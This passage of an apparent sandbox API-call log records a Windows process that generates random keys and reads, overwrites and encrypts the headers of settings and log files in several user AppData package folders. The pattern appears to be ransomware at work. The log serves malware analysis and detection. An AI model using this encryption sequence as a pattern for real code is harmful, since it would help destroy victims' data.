nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.037] WriteFile (in: hFile=0x1464, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.037] CloseHandle (hObject=0x1464) returned 1 [0167.038] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.038] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0167.038] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0167.039] ReadFile (in: hFile=0x1464, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.122] SetFilePointer (in: hFile=0x1464, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.122] WriteFile (in: hFile=0x1464, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.122] SetFilePointer (in: hFile=0x1464, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0167.122] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.122] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.123] WriteFile (in: hFile=0x1464, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.123] WriteFile (in: hFile=0x1464, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.123] CloseHandle (hObject=0x1464) returned 1 [0167.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.125] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.125] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0167.125] ReadFile (in: hFile=0x1464, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.125] SetFilePointer (in: hFile=0x1464, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.126] WriteFile (in: hFile=0x1464, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.126] SetFilePointer (in: hFile=0x1464, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0167.126] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.126] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.126] WriteFile (in: hFile=0x1464, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.127] WriteFile (in: hFile=0x1464, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.127] CloseHandle (hObject=0x1464) returned 1 [0167.132] WriteFile (in: hFile=0x1478, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.134] CloseHandle (hObject=0x1478) returned 1 [0167.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0167.134] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0167.134] ReadFile (in: hFile=0x1480, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.134] SetFilePointer (in: hFile=0x1480, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.134] WriteFile (in: hFile=0x1480, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.135] SetFilePointer (in: hFile=0x1480, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0167.135] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.135] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.135] WriteFile (in: hFile=0x1480, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.136] WriteFile (in: hFile=0x1480, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.136] CloseHandle (hObject=0x1480) returned 1 [0167.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0167.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.138] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0167.138] ReadFile (in: hFile=0x1480, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.198] SetFilePointer (in: hFile=0x1480, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.198] WriteFile (in: hFile=0x1480, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.198] SetFilePointer (in: hFile=0x1480, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0167.199] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.199] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.199] WriteFile (in: hFile=0x1480, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.202] WriteFile (in: hFile=0x1480, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.202] CloseHandle (hObject=0x1480) returned 1 [0167.203] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.203] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.203] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0167.204] ReadFile (in: hFile=0x1480, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.208] SetFilePointer (in: hFile=0x1480, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.208] WriteFile (in: hFile=0x1480, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.208] SetFilePointer (in: hFile=0x1480, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0167.208] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.208] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.208] WriteFile (in: hFile=0x1480, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.209] WriteFile (in: hFile=0x1480, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.209] CloseHandle (hObject=0x1480) returned 1 [0167.210] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.210] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.210] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0167.210] ReadFile (in: hFile=0x1480, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.210] SetFilePointer (in: hFile=0x1480, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.211] WriteFile (in: hFile=0x1480, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.211] SetFilePointer (in: hFile=0x1480, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0167.211] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.211] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.211] WriteFile (in: hFile=0x1480, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.212] WriteFile (in: hFile=0x1480, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.212] CloseHandle (hObject=0x1480) returned 1 [0167.216] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.216] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0167.216] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0167.217] ReadFile (in: hFile=0x14a0, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.217] SetFilePointer (in: hFile=0x14a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.217] WriteFile (in: hFile=0x14a0, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.217] SetFilePointer (in: hFile=0x14a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0167.217] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.217] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.217] WriteFile (in: hFile=0x14a0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.218] WriteFile (in: hFile=0x14a0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.219] CloseHandle (hObject=0x14a0) returned 1 [0167.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0167.220] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0167.220] ReadFile (in: hFile=0x14a0, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.307] SetFilePointer (in: hFile=0x14a0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.307] WriteFile (in: hFile=0x14a0, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.307] SetFilePointer (in: hFile=0x14a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0167.307] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.307] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.308] WriteFile (in: hFile=0x14a0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.308] WriteFile (in: hFile=0x14a0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.308] CloseHandle (hObject=0x14a0) returned 1 [0167.312] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.312] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.312] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0167.313] ReadFile (in: hFile=0x14a0, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.314] SetFilePointer (in: hFile=0x14a0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.314] WriteFile (in: hFile=0x14a0, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.314] SetFilePointer (in: hFile=0x14a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0167.314] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.314] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.314] WriteFile (in: hFile=0x14a0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.315] WriteFile (in: hFile=0x14a0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.315] CloseHandle (hObject=0x14a0) returned 1 [0167.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0167.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0167.316] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0167.317] ReadFile (in: hFile=0x14a0, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.317] SetFilePointer (in: hFile=0x14a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.317] WriteFile (in: hFile=0x14a0, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.317] SetFilePointer (in: hFile=0x14a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0167.317] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.317] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.317] WriteFile (in: hFile=0x14a0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.318] WriteFile (in: hFile=0x14a0, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.318] CloseHandle (hObject=0x14a0) returned 1 [0167.323] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0167.324] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0167.325] ReadFile (in: hFile=0x14c0, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.325] SetFilePointer (in: hFile=0x14c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.325] WriteFile (in: hFile=0x14c0, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, 